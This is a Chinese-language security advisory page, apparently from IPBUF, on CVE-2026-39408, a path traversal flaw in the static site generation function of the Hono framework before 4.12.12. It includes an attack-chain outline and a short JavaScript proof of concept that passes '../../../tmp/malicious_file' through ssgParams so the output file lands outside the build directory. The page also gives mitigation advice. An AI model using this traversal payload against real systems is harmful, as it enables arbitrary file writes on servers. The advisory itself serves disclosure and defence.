IPBUF安全漏洞报告
English
CVE-2026-39408 CVSS 7.5 高危

CVE-2026-39408 Hono框架路径遍历漏洞

披露日期: 2026-04-08

漏洞信息

漏洞编号
CVE-2026-39408
漏洞类型
路径遍历
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Hono

相关标签

路径遍历HonoSSGCVE-2026-39408Web安全

漏洞概述

Hono是一个支持多种JavaScript运行时的Web应用框架。在4.12.12版本之前,其静态站点生成(SSG)功能中存在路径遍历漏洞。攻击者可利用`toSSG()`函数结合`ssgParams`动态路由参数,通过构造特殊值绕过输出目录限制,将生成的恶意文件写入系统任意位置。该漏洞无需认证即可利用,可能导致敏感信息泄露或系统被破坏。官方已在4.12.12版本中修复此问题。

技术细节

该漏洞根源在于Hono框架静态站点生成(SSG)功能的路径拼接逻辑缺失安全校验。在使用`toSSG()`进行构建时,若配置了`ssgParams`以支持动态路由,框架会将参数值直接用于构建文件输出路径。在受影响版本中,代码未对传入的动态参数进行有效的目录遍历字符(如`../`)过滤或路径解析。攻击者可以精心构造包含路径跳转序列的恶意输入,使得最终写入的文件路径突破预定的输出目录限制,写入到服务器的其他任意位置。鉴于该漏洞攻击向量为网络且无需权限,攻击者可轻易利用此缺陷写入恶意文件或覆盖关键配置,严重威胁系统机密性。

攻击链分析

STEP 1
1. 侦察
识别使用Hono框架且版本低于4.12.12的目标应用,确认其启用了SSG功能并使用了ssgParams。
STEP 2
2. 构造Payload
攻击者构造包含路径遍历字符(如'../')的恶意参数值,旨在逃逸预定义的输出目录。
STEP 3
3. 触发生成
诱导或等待系统触发静态站点生成(toSSG)过程,注入构造好的恶意参数。
STEP 4
4. 写入文件
利用漏洞将生成的文件写入到服务器输出目录之外的任意指定位置。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// PoC for CVE-2026-39408: Hono Path Traversal in toSSG // This demonstrates how a crafted parameter in ssgParams can escape the output directory. const { Hono } = require('hono'); const { toSSG } = require('hono/ssg'); const app = new Hono(); // Vulnerable configuration example toSSG(app, { // ssgParams function generates dynamic routes ssgParams: async () => { // Malicious input containing path traversal sequence return [ { id: '../../../tmp/malicious_file' } ]; } }, './dist'); // Intended output directory is './dist' // Result: // In vulnerable versions (< 4.12.12), this writes the file to: // /tmp/malicious_file.html instead of ./dist/../../../tmp/malicious_file.html

影响范围

Hono < 4.12.12

防御指南

临时缓解措施
若无法立即升级,应暂时禁用使用动态参数的SSG功能,或在传入ssgParams之前实施严格的输入白名单验证,确保参数值不包含路径跳转序列。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表